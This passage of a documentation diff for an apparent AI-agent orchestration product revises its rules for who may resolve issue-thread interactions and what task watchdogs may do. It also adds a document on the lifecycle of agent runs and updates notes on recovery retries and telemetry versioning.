+server records each attempt with its source issue, target issue, run, count, and
+rollout mode, and fails closed with the cap in the error once enforcement is
+active. Writes to the run's own source issue are not counted. Assignee self-comments do not
 wake the assignee, and a non-assignee comment cannot mint a mention grant.
 
 Agent-authored issue comments persist the responsible user derived from the
@@ -656,6 +667,66 @@ approval is created. The legacy fields `protectedAgent.requiresApproval` and
 aliases for the same hard block, but API denial copy must describe the block and
 administrator remediation rather than promising a nonexistent approval step.
 
+### 9.8.1 Issue-thread interaction resolver contract
+
+Issue-thread interactions are coordination records, not grants of authority. Every
+interaction kind defaults to resolver policy `anyone` when the create request omits
+`resolverPolicy`. Restrictions are opt-in.
+
+Canonical resolver policies are:
+
+- `anyone`: any authenticated actor in the interaction's company who can read the
+  issue and use the normal resolution route. For agents this includes the creator
+  agent and the creating/source run.
+- `not_creator`: the explicit independent-review policy. It excludes the creator
+  agent and creating/source run while otherwise using the ordinary agent resolver
+  path.
+- `human_only`: only an authorized human/board actor may resolve the interaction.
+
+`board_or_agents` and `board_only` are deprecated migration and API-input aliases.
+For new writes they normalize to `anyone` and `human_only`, respectively. API reads
+return canonical requested/effective policies, compatibility aliases, and immutable
+provenance. The persisted provenance is `explicit`, `inherited`, or
+`legacy_inherited_restriction`; the effective-policy source is `requested`,
+`company_cap`, or `governed_action`.
+
+Historical rows predate explicit-vs-inherited provenance. Migration must never
+silently widen an ambiguous pending card: legacy `board_or_agents` rows retain the
+old creator-excluding behavior as canonical `not_creator`, legacy `board_only` rows
+become `human_only`, and both are marked `legacy_inherited_restriction`. Resolved
+outcomes and resolver attribution are immutable.
+
+An explicit named addressee and a company-configured cap may narrow the effective
+audience. A cap never widens the requested audience. Tool-action confirmations and
+other hard-governed action cards remain `human_only` (or move to the formal approval
+system) regardless of a requested open audience.
+
+Surfaces that offer a resolution must state the effective audience before the
+operator acts, from server metadata rather than a client-side policy inference.
+Issue-thread cards read it from the interaction snapshot; attention rows read it
+from the feed item's `resolverAudience` (canonical requested/effective policy,
+effective-policy source, provenance, and the addressee/creator identities the
+evaluator compares against), because a collapsed row carries decision verbs
+before the interaction itself is fetched. A failed resolution keeps the server's
+denial reason in visible, assertively announced feedback and names who may
+respond; an audience denial is permanent, so it must not degrade to a retry
+prompt. Neither surface may enable or disable a control on its own authority.
+
+Every resolution remains company-scoped, run-attributed for agent actors,
+low-trust/task-bridge contained, target-current, and exact-once. Target staleness,
+supersession, continuation idempotency, and activity attribution remain mandatory.
+An open audience is not an uncapped one: when an agent run resolves an interaction
+on an issue other than its own source issue, the resolution is a cross-issue
+mutation and consumes the per-run cross-issue influence budget in §9.3, charged
+after audience authorization and before the interaction mutation, child tasks,
+continuation, tool action, or wake. Same-issue resolutions and board/user
+resolutions are outside that counter.
+Accepting or answering an interaction records a response only: suggested-task
+creation, provider/tool calls, deployment, spend, hiring, secrets, execution-policy
+decisions, and every other downstream effect must re-run its own authorization and
+approval checks. Mislabeling a governed action as an open interaction grants no
+downstream capability.
+
 ## 9.9 Task Watchdog Authority Contract
 
 A task watchdog is a scoped execution capacity for a configured watchdog agent on one watched issue subtree. It is not a separate principal, does not inherit board auth, and does not expand the selected agent's company boundary. The server must enforce the watchdog contract from persisted watchdog configuration and run context; custom instructions and prompt text can narrow the mandate but cannot expand it.
@@ -675,7 +746,8 @@ Within the watched subtree, a watchdog run may perform only mutations that resto
 - reopen `done` or `cancelled` included issues only with explicit resume metadata and an audit comment when evidence shows the stopped disposition is wrong or incomplete
 - add, replace, or clear blockers on included issues when the blocker target is in the same company and the change makes the waiting path more accurate
 - set or refresh a one-shot monitor on an included issue when the current assignee owns the future check
-- accept or reject eligible task-level plan confirmations as defined below
+- resolve issue-thread interactions through the ordinary resolver-audience path
+  when the watchdog agent otherwise has issue access and the effective policy allows it
 - update the reusable watchdog issue itself to `done`, `in_review`, or `blocked` with the evidence for the watchdog decision
 
 Every watchdog-triggered mutation must write activity with the watchdog id, source issue id, watchdog issue id when present, run id, and stop fingerprint. Mutations still use the normal status-transition, blocker, assignment, budget, and company-boundary guards.
@@ -713,19 +785,18 @@ When the safe next action needs one of these disallowed mutations, the watchdog
 
 ### Interaction resolution
 
-The initial V1 watchdog resolver may resolve exactly one interaction family: `request_confirmation` interactions that are eligible task-level plan confirmations. The watchdog may accept a coherent eligible plan or reject/request changes with a reason. It may not resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, board approvals, or ad hoc document comments.
+A task-watchdog run has no special resolver audience, plan-purpose marker, or
+interaction-kind allowlist. The task-watchdog context neither widens nor
+categorically removes the selected agent's ordinary interaction authority. The
+same evaluator used for every agent applies `anyone`, `not_creator`, `human_only`,
+named-addressee, company-cap, company-boundary, run-attribution, low-trust,
+task-bridge, target-staleness, and exact-once checks.
 
-A plan confirmation is eligible only when all of these are true:
-
-- the interaction is pending and belongs to an issue inside the watched subtree, excluding the reusable watchdog issue and its descendants
-- the interaction target is an `issue_document` with key `plan` on that same issue, and the target revision is still current
-- the interaction has an explicit plan-approval purpose marker; title text, body prose, or idempotency key shape alone is not enough
-- accepting the plan authorizes decomposition or task-level continuation inside the watched subtree only
-- the plan does not request hiring, budget/spend approval, secret access, production deployment, security-sensitive policy changes, legal/compliance decisions, destructive data changes, cross-company work, or any other board-only governed action
-- no newer board/user comment, document revision, superseding interaction, custom instruction, or issue policy reserves the decision for a human, CTO, Security, or the board
-- the plan names concrete child/follow-up work, owners or assignee selection criteria, dependencies/blockers, and acceptance criteria clearly enough that decomposition can proceed without further judgment
-
-If any condition fails, the watchdog must not accept the interaction. It should reject with a reason when the plan is clearly invalid, or leave/escalate the decision when the right owner is a board user, CTO, Security, or another typed approver.
+Resolving an interaction does not authorize its downstream effect. In particular,
+an accepted plan still passes normal decomposition/idempotency checks, and a
+governed action still requires its own typed reviewer, permission, or formal
+approval. A watchdog may not use an open coordination response to bypass any item
+in the disallowed-mutations list above.
 
 ### Downstream acceptance criteria
 
@@ -734,8 +805,8 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
 - server tests deny cross-company watched issues, watchdog agents, watchdog issues, blockers, interactions, and assignment targets
 - server tests deny paused, terminated, pending-approval, budget-blocked, or otherwise uninvokable watchdog agents
 - watchdog-scoped mutations can touch only the watched subtree and the reusable watchdog issue, with activity records for each mutation
-- interaction tests prove only eligible `request_confirmation` plan confirmations are accepted or rejected, and all other interaction kinds remain unavailable to watchdogs
-- plan-confirmation tests cover stale document revisions, missing purpose markers, outside-subtree targets, governed actions, newer user comments, and explicit human/CTO/Security reservations
+- interaction tests prove watchdog runs use the same resolver policy as ordinary agents, without a watchdog-only kind or purpose-marker exception
+- interaction tests cover `anyone`, `not_creator`, `human_only`, named addressees, company caps, stale targets, governed actions, newer user comments, low-trust/task-bridge containment, and cross-company denial
 - scheduler tests prove live runs, queued wakes, and scheduled retries suppress watchdog wakeups, while terminal, cancelled, blocked, and review leaves are still verified when the subtree has no live path
 - tests prove `task_watchdog` origin issues and descendants are excluded from scans so watchdogs do not trigger themselves
 - recovery-batch tests prove batches are capped at 3 allowed mutations, applied all-or-nothing, and aborted with recorded evidence when the observed stop fingerprint went stale mid-batch
@@ -745,7 +816,7 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
 - prompt/context tests prove custom instructions are appended after non-overridable safety constraints and cannot expand authority
 - QA validates a full create/edit/remove/run/reuse flow with screenshots for UI changes
 
-No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: resolving interaction kinds beyond eligible plan confirmations, letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion requires a new product/security review.
+No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion of those capabilities requires a new product/security review.
 
 ## 9.10 Company Skill Policy Contract
 
@@ -1033,7 +1104,7 @@ Dashboard payload must include:
 The current app also exposes V1-supporting surfaces for:
 
 - company-scoped summary slots for projects, the workspaces overview, project workspaces, and individual execution workspaces; execution-workspace slots are keyed by execution workspace id so a new workspace never inherits another workspace's summary
-- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`)
+- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`, `request_checkbox_confirmation`, `request_item_verdicts`) with the open-default resolver contract in §9.8.1
 - issue approvals, issue references/search, labels, read state, inbox/archive state, and work products
 - company search through `GET /companies/:companyId/search` plus agent-oriented bulk extraction through
   `GET /companies/:companyId/search/extract`; extraction accepts a server-escaped literal `contains`, optional
@@ -1247,7 +1318,7 @@ Required UX behaviors:
 
 ## 15.1 Environment
 
-- Node 20+
+- Node 24.11+
 - `DATABASE_URL` optional
 - if unset, auto-use embedded PostgreSQL under `~/.paperclip/instances/default/db`
 
diff --git a/doc/TASK-WATCHDOG.md b/doc/TASK-WATCHDOG.md
index c0775fc4f00..c638a6bc0cf 100644
--- a/doc/TASK-WATCHDOG.md
+++ b/doc/TASK-WATCHDOG.md
@@ -101,17 +101,17 @@ On wake, the watchdog agent reads a fixed default mandate plus your custom instr
 
 - Treat every stopped leaf as a **claim** that must be verified against comments, documents, work products, screenshots, tests, blockers, and review state. Do not accept "I could not" or "waiting for approval" as automatically valid.
 - Leave genuinely-complete leaves alone, with a short note on what was checked.
-- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or accept an eligible task-level plan confirmation.
+- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or resolve an interaction that the ordinary agent audience permits.
 - If the blocker is real, leave a valid waiting disposition that names the unblock owner and the next action.
 
 The mandate also enforces safety constraints that custom instructions **cannot override**:
 
 - Stay inside the watched subtree. No cross-company mutations, no mutations outside the watched issue and its non-watchdog descendants.
-- No impersonating board-only approvals, accepting spend or hiring decisions, accepting security-sensitive interactions, or bypassing execution-policy stages that require a typed reviewer or approver.
+- No impersonating formal approvals, accepting spend or hiring decisions, using an interaction response as downstream authority, or bypassing execution-policy stages that require a typed reviewer or approver.
 - No creating another watchdog for the watched subtree. No waking itself. Exactly one reusable review task per watched issue.
 - Custom instructions can narrow focus or veto specific shortcuts. They cannot grant authority the server does not already give the watchdog.
 
-The formal authority contract (the full list of allowed and disallowed mutations, and the eligibility test for accepting plan confirmations) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §9.9.
+The formal authority contract (the full list of allowed and disallowed mutations, plus the ordinary interaction resolver contract) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §§9.8.1–9.9.
 
 ### Writing custom instructions
 
@@ -119,11 +119,11 @@ Custom instructions are most useful when they tell the watchdog what evidence to
 
 > Before accepting any leaf as done, check that there is a corresponding green CI run linked in the comments. If there isn't, reopen the leaf and ask for one.
 
-> Do not accept a `request_confirmation` plan that proposes more than five subtasks without first asking me to review. Leave the issue in review and ping me.
+> When an interaction is `not_creator` or `human_only`, preserve that restriction. Do not treat the watchdog role as an override.
 
 > If a leaf is blocked on the marketing team, accept the wait but make sure the unblock owner is named in the blocker reason.
 
-What custom instructions cannot do: grant authority outside the watched subtree, approve board-level decisions, expand the interaction kinds the watchdog can resolve, or override safety constraints. The server enforces this regardless of what the instructions say.
+What custom instructions cannot do: grant authority outside the watched subtree, approve formal governance decisions, widen an interaction's resolver audience, or override safety constraints. The server enforces this regardless of what the instructions say.
 
 ---
 
@@ -133,7 +133,7 @@ Every watchdog-originated mutation is gated by a server-side scope check derived
 
 - mutations on issues outside the watched subtree (parent-chain walk, depth-limited)
 - mutations on issues whose company id does not match the watchdog's company
-- attempts to resolve interactions other than eligible task-level `request_confirmation` plan confirmations (see SPEC §9.9 for eligibility)
+- interaction resolution outside the ordinary effective audience, named addressee, company/issue scope, run-attribution, low-trust/task-bridge, target-staleness, or exact-once checks
 - changes to the watchdog configuration itself (a watchdog cannot edit its own row or create another watchdog)
 - direct edits to active-run output or execution-policy decisions that require a typed participant
 
@@ -165,7 +165,7 @@ It is **not** the right tool for:
 
 - monitoring a single running process for silence — that is the silent active-run watchdog, automatic, no configuration
 - liveness recovery on stalled agent-owned issues without an explicit recovery surface — that is automatic too
-- board-level approvals or anything security-sensitive — the watchdog cannot resolve those
+- formal approvals or security-sensitive downstream actions — an interaction response cannot authorize those
 - replacing a human reviewer on a typed execution-policy stage — the watchdog cannot bypass typed participants
 
 If what you actually want is "wake me when this is done," use a routine or an issue-thread interaction with `continuationPolicy: wake_assignee`, not a watchdog.
diff --git a/doc/acp-run-lifecycle.md b/doc/acp-run-lifecycle.md
new file mode 100644
index 00000000000..ea68b76d1cc
--- /dev/null
+++ b/doc/acp-run-lifecycle.md
@@ -0,0 +1,101 @@
+# ACP run lifecycle
+
+This document describes how one ACP agent run starts, runs its turn, and releases
+its resources. It covers the run coordinator, the six run resources, the
+settlement order, the server-owned staging lease, and the known limitations.
+
+## The run coordinator
+
+One `run()` coordinator owns one attempt. It sequences four steps in a fixed
+order:
+
+1. **Startup.** Bring up the runtime and establish the session.
+2. **Turn.** Run the agent turn against the ready runtime.
+3. **Settlement.** Release every resource the run acquired.
+4. **Result reproduction.** Return the external result to the caller.
+
+The coordinator holds the routing table as data. It reads the startup outcome and
+routes on it:
+
+- A build failure or a partial-bridge failure throws from startup. The coordinator
+  replays the startup-rollback entries and rethrows the original error.
+- A runtime-create, handshake, missing-handle, or configuration failure produces a
+  settle result. The coordinator settles the resources, then reproduces the error
+  result.
+- Every other startup outcome produces a ready result. The coordinator runs the
+  turn, settles the resources, then reproduces the turn result.
+
+The coordinator has no catch around the turn: the turn never rejects and returns a
+typed completion. The coordinator reproduces the external result AFTER settlement,
+so a caller never observes a result before the run releases its resources.
+
+## The six run resources
+
+A run resource ledger holds the resources between acquisition and settlement. The
+ledger is the single owner. The closed set of run resources is:
+
+- `acp_runtime` — the composite of the runtime, the session handle, and the child
+  process. `runtime.close()` is the one release boundary for all three.
+- `staged_runtime` — the workspace and the runtime staged into the sandbox, plus
+  the one-time host-side cleanup of the staged temporary files.
+- `control_bridge` — the control-plane callback bridge.
+- `agent_bridge` — the agent process-session bridge.
+- `managed_home` — the per-run managed-home copy-back hook.
+- `staging_lease` — the per-session staging lease.
+
+The host lane acquires only `acp_runtime`. The sandbox lane also acquires the
+staging and transport resources. Each resource enters the ledger the moment it
+exists, so the settlement always closes it, even on an early failure.
+
+## The settlement order
+
+The settlement sequence is the one live cleanup owner for every settled path. It
+claims the ledger once, makes the pure reuse decision, then runs the ordered
+steps:
+
+1. `end_session` — close every runtime the reuse decision did not transfer, and
+   drop the warm entry when it closes.
+2. `settle_reuse` — perform the decision. A save transfers the reuse candidate to
+   the site store; every other case discards it.
+3. `stop_transport` — stop both bridges in one settled batch.
+4. `sync_back` — run the site sync-back (the managed-home copy-back).
+5. `release_staging_lease` — release the staging lease last (see below).
+
+An error policy governs every step: a step records its error, and the later steps
+still run. Every step is a no-op on an empty resource slot.
+
+The reuse decision is pure and runs before any close. A save is eligible only when
+a candidate exists, the settlement cause permits a save, and no run-scoped
+credential that the candidate would carry into the store remains valid.
+
+## The server-owned staging lease outer context
+
+The staging lease is a per-session lease. Only one run of a session may stage into
+the same remote workspace at a time. A second run of the same session waits on the
+lease until the first run releases it.
+
+The lease releases as the run's final act, after the coordinator settles every
+other resource AND reproduces the result. This ordering keeps a same-session
+second run blocked on the lease until the first run fully returns, so the second
+run never re-stages into a workspace the first run still uses. The release runs in
+a `finally`, so an earlier teardown fault never strands the lease.
+
+## Per-phase telemetry
+
+The run emits one telemetry event per named lifecycle phase. Each event carries
+only the phase name, the wall-time duration, and the outcome (`ok` or `failed`).
+The phase name is one member of a closed allowlist. An event never carries a
+command, an argument, a path, an environment value, or a raw identifier. A
+telemetry failure never fails the run.
+
+## Known limitations and deferred work
+
+- **Host-lane runtime reuse is disabled.** A run-minted API key is a stateless
+  token that the control plane never revokes on run end. A warm host runtime would
+  carry a still-valid credential into the next run. The host lane therefore closes
+  and relaunches on every run, rather than keeping the runtime warm, until a
+  run-scoped credential rebind protocol exists.
+- **The sandbox staged-files reuse stays enabled.** Its reuse payload carries no
+  credential, so a compatible resume reuses the already-staged runtime.
+- **The per-phase telemetry is observability-only.** It records the duration and
+  the outcome of each phase; it does not change run control flow.
diff --git a/doc/design/AGENT-SESSIONS.md b/doc/design/AGENT-SESSIONS.md
index 5d837846891..b3f7f84f3fd 100644
--- a/doc/design/AGENT-SESSIONS.md
+++ b/doc/design/AGENT-SESSIONS.md
@@ -44,7 +44,7 @@ Hold every session to these five, regardless of size:
 ## Reviewing like a designer
 
 - **Contact sheet**: the diff images under `tests/storybook-visual/test-results/` are your primary review surface; ask the agent to assemble them into a browsable before/after page (or use `npx playwright show-report` from `tests/storybook-visual/`).
-- **Live test drive**: for big changes, ask for a running instance from the worktree — `pnpm paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
+- **Live test drive**: for big changes, ask for a running instance from the worktree — `npx paperclipai worktree init` once, then `PORT=3300 pnpm dev:once` gives an isolated Paperclip (own database, own config; your real instance is untouched). Click around; real use surfaces what screenshots can't.
 - **Side-by-side Storybook**: old on one port, new on another (`pnpm storybook` in each checkout), flip tabs.
 - Trust your eyes over the agent's summary. If something looks wrong, say so plainly ("the text in the red boxes is illegible") — vague feedback is fine, the screenshots give the agent the precision.
 
diff --git a/doc/execution-semantics.md b/doc/execution-semantics.md
index d1f4865a22f..ae7bbe4d9bf 100644
--- a/doc/execution-semantics.md
+++ b/doc/execution-semantics.md
@@ -1,7 +1,7 @@
 # Execution Semantics
 
 Status: Current implementation guide
-Date: 2026-08-12
+Date: 2026-08-18
 Audience: Product and engineering
 
 This document explains how Paperclip interprets issue assignment, issue status, execution runs, wakeups, parent/sub-issue structure, and blocker relationships.
@@ -152,6 +152,8 @@ Pre-dispatch configuration validation is a distinct gate that runs after ownersh
 
 A configuration-incomplete result is a gate outcome, not a runtime failure. It is one of the active gates that a checkout-time or dispatch-time check can surface instead of starting a run, and it leaves the issue in an explicit waiting state that names the missing binding. Surfacing the blocker keeps the issue healthy under the liveness contract while preventing a run that is guaranteed to fail once it cannot resolve its required secret/env bindings. A dispatched-then-failed run is the wrong shape for missing configuration: the missing binding is a known pre-dispatch condition, so the control plane must surface it as a configuration-incomplete blocker rather than letting the run start and then fail.
 
+An unresolved workspace base ref is another configuration-incomplete condition. A `git_worktree` workspace bases a fresh worktree on a configured base ref. Paperclip first fetches a remote-only ref before dispatch: it maps an unqualified name (for example `fix/foo`) or a remote-tracking name (for example `origin/fix/foo`) to `origin/<branch>`, runs the authenticated fetch, and re-checks the commit. A ref that resolves lets work continue on the resolved commit. A ref that is still unresolvable after the fetch produces a configuration-incomplete blocker that names the requested ref, rather than a dispatched-then-failed run. Because the adapter never started, Paperclip queues no missing-comment retry. The recovery action dedupes by the canonical remote ref (`origin/<branch>`), not the operator spelling. Two equivalent spellings of one remote branch, for example `fix/foo` and `origin/fix/foo`, share one recovery identity, so a repeated failure reuses the active action and does not reset the attempt count or post a second notice. A different remote branch is a distinct blocker. Paperclip resolves the prior recovery action, creates a new action for the new ref, and notifies the operator with the new ref instead of overwriting the active action of the prior ref.
+
 ## 6. Parent/Sub-Issue vs Blockers
 
 Paperclip uses two different relationships for different jobs.
@@ -431,6 +433,8 @@ A valid recovery action must name:
 
 A source-scoped recovery action is the default form. Use it when the next safe move is to repair the source issue's liveness directly: move the source issue back to `todo` so it can be retried, clarify disposition, re-establish a monitor, record a false positive, or delegate real follow-up work from the source issue.
 
+Recovery-action ownership and source-task ownership are separate contracts. Assigning a manager or board owner to a recovery action authorizes that owner to repair or route the recovery action; it does not write that owner into the source issue's `assigneeAgentId`. Automatic retry and escalation preserve the source assignee. Reassignment requires an explicit source-task decision or a policy-defined serious-failure path, with the normal company, authorization, budget, checkout, active-run-lock, governed-action, and activity-log checks.
+
 Use an issue-backed recovery action only when the recovery is genuinely independent work or when source-scoped handling would be unsafe or unclear. Examples include:
 
 - long or cross-agent repair work with its own assignee, subtasks, or blockers
@@ -591,7 +595,13 @@ A continuation that the staleness gate cancelled with `issue_continuation_waitin
 Recovery rule for a parked-for-review continuation:
 
 - if the issue has a real waiting target — open (non-terminal) sub-tasks or existing unresolved blockers — Paperclip converts the deliberate wait into a first-class dependency wait: it sets the issue `blocked` by those issues, keeps the original assignee, and posts a plain-language comment explaining that the task will resume automatically when its dependencies finish. The issue then self-resumes through the normal `issue_blockers_resolved` path; no recovery action or escalation owner is involved
-- if the issue has no waiting target, the park is indistinguishable from a genuine strand and falls through to the standard §9.2 escalation, preserving stranded detection
+- if the issue has no current typed waiting target and the original owner is invokable, Paperclip classifies it as `deliberate_wait_without_target` and gives that owner five normal-model disposition-repair attempts: immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter on delayed attempts
+- before every attempt, Paperclip revalidates unresolved blockers and children, interactions, linked approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, and budget or governance gates. Any real live or waiting path suppresses the retry
+- the retry bound is keyed by an idempotent durable source-state fingerprint. Comments, repeated parked summaries, and equivalent prose do not reset it. Durable changes such as source status or assignee changes, dependency or interaction changes, approval or execution-policy changes, monitor changes, or work-product changes may create a new fingerprint
+- on upgrade, consecutive historical `issue_continuation_waiting_on_review` cancellations for the same accepted interaction and still-unchanged durable source state seed this same counter. Five applicable pre-upgrade parks therefore exhaust the ceiling immediately; the absence of a historical `deliberate_wait_without_target` recovery-action row does not grant five new attempts
+- the action persists the unchanged fingerprint, source-attempt count, due time, source owner, and return owner. Startup and periodic reconciliation reuse that state, fold the action when a current typed wait appears, and reschedule or escalate an expired attempt that has no live scheduled run. Idempotency keys prevent a restart from creating duplicate wakes or scheduled runs
+- after five attempts with the same fingerprint, Paperclip opens one separate source-scoped manager recovery action. The manager owns only path repair; the source assignee remains unchanged. The manager gets five separate attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule before exhaustion escalates visibly to the board
+- a recovery action is a healthy wait only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation. Source liveness and every blocker-chain projection use that same nested result
 
 An accepted interaction supersedes a continuation park recorded before that acceptance. A queued continuation carrying a parseable `interactionResolvedAt` must not be cancelled solely because an older continuation summary says to wait for review or approval. Interaction-continuation recovery is bounded: after three consecutive continuation wakes are cancelled without a run starting, recovery converts a real dependency wait when one exists or escalates the missing execution path visibly instead of requeueing forever.
 
@@ -617,6 +627,28 @@ On startup and on the periodic recovery loop, Paperclip now does five things in
 
 The stranded-work pass closes the gap where issue state survives a crash but the wake/run path does not. The silent-run scan covers the separate case where a live process exists but has stopped producing observable output. The productivity-review pass is later and separate; it reviews unusual progression patterns on assigned source issues, not stale run handles after a source issue already has a valid disposition.
 
+### Issue-thread interaction resolution
+
+Every issue-thread interaction kind inherits resolver policy `anyone` when the
+creator omits a policy. `anyone` includes the creator agent and creating run.
+Callers opt into independent review with `not_creator` or human resolution with
+`human_only`; a named addressee and company cap may narrow the effective audience.
+The legacy input aliases `board_or_agents` and `board_only` normalize to `anyone`
+and `human_only` for new writes.
+
+Resolver policy is snapshotted with explicit/inherited provenance and an effective
+source (`requested`, `company_cap`, or `governed_action`). Existing ambiguous
+legacy rows are marked `legacy_inherited_restriction` and retain their old
+restriction: `board_or_agents` becomes `not_creator`, not `anyone`, while
+`board_only` becomes `human_only`. Pending cards are never silently widened.
+
+Resolution is exact-once and requires issue access in the same company. Agent
+resolution also requires valid run attribution and remains subject to low-trust
+and task-bridge containment. Target freshness and supersession are checked before
+the outcome commits. Resolution records an answer; every continuation, task
+creation, tool/provider call, execution-policy transition, spend, deployment, or
+other effect independently re-runs its own authorization and approval gates.
+
 ## 11. Task Watchdog for Issue Trees
 
 A task watchdog watches a configured issue subtree after that subtree has stopped moving. It is a product-level verification and recovery mechanism for selected work, not a process monitor.
@@ -665,13 +697,13 @@ When the source issue is non-terminal and has no other live path, the product sh
 
 ### Watchdog authority during execution
 
-The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or beyond the allowed mutation and interaction list.
+The watchdog agent acts in a scoped capacity, not as the original deliverable worker and not as the board. The server must enforce the authority contract in `doc/SPEC-implementation.md` from persisted watchdog context. Prompt text and custom instructions may guide the watchdog's judgment, but they cannot grant authority outside the watched subtree or widen an interaction's ordinary effective audience.
 
 Watchdogs must not create visible probe issues, comments, or throwaway tasks to discover capability boundaries. They should rely on the wake capability metadata and explicit API denials, then record any denied operation as evidence in the reusable watchdog issue.
 
 The watchdog should verify stopped leaves against comments, documents, work products, tests, screenshots, blockers, review state, and run context. It should not accept "I could not" or "waiting for approval" as sufficient by itself.
 
-When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an eligible plan confirmation. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
+When work should continue, the watchdog restores a live path inside the watched subtree: reopen or reassign stuck work, create follow-up issues, repair blockers, set a monitor, or resolve an interaction that its ordinary agent audience permits. When the stopped state is legitimate, the watchdog records why and leaves the subtree with a valid terminal, waiting, blocked, review, or explicit recovery path.
 
 ### Atomic recovery batch
 
@@ -679,16 +711,19 @@ Restoration is often more than one write — reopen the dead-end leaf **and** ex
 
 This preserves the stale-guard's purpose — never keep mutating a subtree that just went live under the watchdog's feet — while removing the failure mode where spending the only permitted write on an informational comment forfeits the state-restoring mutation the recovery actually needed.
 
-### Eligible interaction decisions
+### Interaction decisions
 
-A task watchdog may resolve only eligible `request_confirmation` plan confirmations. Eligibility is defined in `doc/SPEC-implementation.md` and must be checked by the server at decision time. The critical constraints are:
+A task watchdog is an ordinary agent for interaction resolution. Its watchdog
+context provides no special audience, plan-purpose marker, or kind allowlist, and
+it is not a categorical denial. The normal evaluator checks the effective policy,
+named addressee, company and issue scope, run attribution, low-trust/task-bridge
+containment, target freshness, and exact-once state.
 
-- the interaction is pending, targeted at the current `plan` document revision for an included subtree issue, and explicitly marked as a plan-approval confirmation
-- accepting it authorizes only decomposition or task-level continuation inside the watched subtree
-- the plan is not asking for board-only governance, spend, hiring, security, deployment, secret, destructive data, legal/compliance, cross-company, or other sensitive approval
-- no newer durable source activity or policy reserves the decision for a human, CTO, Security, or the board
-
-The watchdog cannot resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, execution-policy decisions unless it is the typed participant outside watchdog capacity, or document comments written as freeform approval.
+This does not give a watchdog downstream authority. Linked/formal approvals remain
+separate, execution-policy decisions still require the typed participant, and an
+accepted interaction cannot authorize spend, hiring, secrets, deployment,
+destructive data changes, cross-company work, or any mutation the watchdog scope
+otherwise forbids.
 
 ### Completion and fingerprint updates
 
@@ -797,6 +832,8 @@ Examples:
 
 The recovery action stays source-scoped by default. The source issue should show the recovery owner, cause, evidence, next action, and wake or monitor policy in its own thread/detail surface.
 
+The recovery owner owns the repair action, not the source deliverable. Manager escalation must preserve the source issue assignee unless an operator makes an explicit reassignment decision or an applicable serious-failure policy authorizes transfer.
+
 Create an issue-backed recovery action only when a separate issue is the right execution object. In that fallback form, the source issue remains visible and is blocked on the recovery issue when blocking is necessary for correctness. The recovery owner must restore a live path, resolve the source issue manually, delegate real follow-up work, or record the reason the signal is a false positive.
 
 Instance-level issue-graph liveness auto-recovery is disabled by default. When enabled, its lookback window means "dependency paths updated within the last N hours"; older findings remain advisory and are counted as outside the configured lookback instead of creating recovery actions automatically. This is an operator noise control, not the older staleness delay for determining whether a chain is old enough to surface.
@@ -826,7 +863,7 @@ Paperclip still does not:
 The recovery model is intentionally conservative:
 
 - preserve ownership
-- retry once when the control plane lost execution continuity
+- use the cause-specific bound when the control plane lost execution continuity; deliberate waits without a target use five fingerprinted original-owner disposition repairs
 - open an explicit recovery action when the system can identify a bounded recovery owner/action
 - escalate visibly when the system cannot safely keep going
 
diff --git a/doc/observability.md b/doc/observability.md
index 0af08e29c2c..15101f47d93 100644
--- a/doc/observability.md
+++ b/doc/observability.md
@@ -60,6 +60,31 @@ export OTEL_SERVICE_NAME="paperclip"
 export OTEL_SERVICE_VERSION="2026.5.0"
 ```
 
+### `service.version` resolution order
+
+The `service.version` span attribute reports the commit the running server was
+built from. The server resolves it in this order and uses the first source that
+returns a value:
+
+1. **The build stamp.** The server `build` script writes the commit SHA into
+   `dist/build-info.json`. The stamp wins so the reported version tracks the
+   true built commit and cannot go stale across rebuilds. The build script
+   reads the commit from `git rev-parse --short HEAD` first. A Docker image
+   build excludes `.git`, so the build script reads the `PAPERCLIP_BUILD_COMMIT`
+   environment variable instead. Pass the built commit in that variable so the
+   image stamp records the true commit.
+2. **A runtime `git rev-parse --short HEAD`.** This covers `tsx src/index.ts`
+   dev mode, where the server runs from the source checkout and writes no
+   stamp. A failure here is not fatal.
+3. **The `OTEL_SERVICE_VERSION` environment variable.** This is the fallback
+   for a build with no stamp and no reachable git — for example a tarball
+   build. `OTEL_SERVICE_VERSION` is a Paperclip-specific variable, not an
+   OpenTelemetry SDK variable, so Paperclip controls this precedence.
+4. **`"unknown"`** when no source returns a value.
+
+The server logs the resolved `service.version` once at startup, so an operator
+can confirm the value.
+
 If `OTEL_EXPORTER_OTLP_PROTOCOL` is set to an unrecognized value, Paperclip
 logs a single warning and falls back to gRPC.
 
